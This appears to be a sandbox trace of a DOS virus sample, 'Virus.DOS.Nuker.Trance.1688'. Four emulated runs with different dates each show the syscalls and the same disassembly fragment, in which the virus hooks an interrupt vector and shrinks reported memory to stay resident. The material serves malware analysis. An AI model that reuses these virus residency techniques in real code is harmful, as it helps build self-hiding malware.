Sample viewer

vx.netlux.org/Virus.DOS.Nuker.Trance.1688

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:53.484395899Z 48 PC: 12a5b | Get DOS version
2018-12-17T22:52:53.486948543Z 42 PC: 12ade | Get date 0x12ade: cmp al, 1
0x12ae0: jne 0x12af6
0x12ae2: cmp dl, 1
0x12ae5: jne 0x12af6
0x12ae7: mov bx, 0x6e9
0x12aea: sub ax, ax
0x12aec: mov ds, ax
0x12aee: mov di, 0x70
0x12af1: mov word ptr [di + 2], es
0x12af4: mov word ptr [di], bx
0x12af6: sub byte ptr [0x413], 4
0x12afb: push cs
0x12afc: pop ds
0x12afd: push ds
0x12afe: pop es
0x12aff: cld
0x12b00: lea si, word ptr [bp + 0x1e4]
0x12b04: mov di, 0x100
0x12b07: movsw word ptr es:[di], word ptr [si]
0x12b08: movsb byte ptr es:[di], byte ptr [si]

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11036,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:46.577921381Z 48 PC: 12a5b | Get DOS version
2018-12-25T12:29:46.579712201Z 42 PC: 12ade | Get date 0x12ade: cmp al, 1
0x12ae0: jne 0x12af6
0x12ae2: cmp dl, 1
0x12ae5: jne 0x12af6
0x12ae7: mov bx, 0x6e9
0x12aea: sub ax, ax
0x12aec: mov ds, ax
0x12aee: mov di, 0x70
0x12af1: mov word ptr [di + 2], es
0x12af4: mov word ptr [di], bx
0x12af6: sub byte ptr [0x413], 4
0x12afb: push cs
0x12afc: pop ds
0x12afd: push ds
0x12afe: pop es
0x12aff: cld
0x12b00: lea si, word ptr [bp + 0x1e4]
0x12b04: mov di, 0x100
0x12b07: movsw word ptr es:[di], word ptr [si]
0x12b08: movsb byte ptr es:[di], byte ptr [si]

{"DateBased":true,"Day":7,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11036,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:46.787022127Z 48 PC: 12a5b | Get DOS version
2018-12-25T12:29:46.789604417Z 42 PC: 12ade | Get date 0x12ade: cmp al, 1
0x12ae0: jne 0x12af6
0x12ae2: cmp dl, 1
0x12ae5: jne 0x12af6
0x12ae7: mov bx, 0x6e9
0x12aea: sub ax, ax
0x12aec: mov ds, ax
0x12aee: mov di, 0x70
0x12af1: mov word ptr [di + 2], es
0x12af4: mov word ptr [di], bx
0x12af6: sub byte ptr [0x413], 4
0x12afb: push cs
0x12afc: pop ds
0x12afd: push ds
0x12afe: pop es
0x12aff: cld
0x12b00: lea si, word ptr [bp + 0x1e4]
0x12b04: mov di, 0x100
0x12b07: movsw word ptr es:[di], word ptr [si]
0x12b08: movsb byte ptr es:[di], byte ptr [si]

{"DateBased":true,"Day":1,"Month":9,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11036,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:47.195848422Z 48 PC: 12a5b | Get DOS version
2018-12-25T12:29:47.198262672Z 42 PC: 12ade | Get date 0x12ade: cmp al, 1
0x12ae0: jne 0x12af6
0x12ae2: cmp dl, 1
0x12ae5: jne 0x12af6
0x12ae7: mov bx, 0x6e9
0x12aea: sub ax, ax
0x12aec: mov ds, ax
0x12aee: mov di, 0x70
0x12af1: mov word ptr [di + 2], es
0x12af4: mov word ptr [di], bx
0x12af6: sub byte ptr [0x413], 4
0x12afb: push cs
0x12afc: pop ds
0x12afd: push ds
0x12afe: pop es
0x12aff: cld
0x12b00: lea si, word ptr [bp + 0x1e4]
0x12b04: mov di, 0x100
0x12b07: movsw word ptr es:[di], word ptr [si]
0x12b08: movsb byte ptr es:[di], byte ptr [si]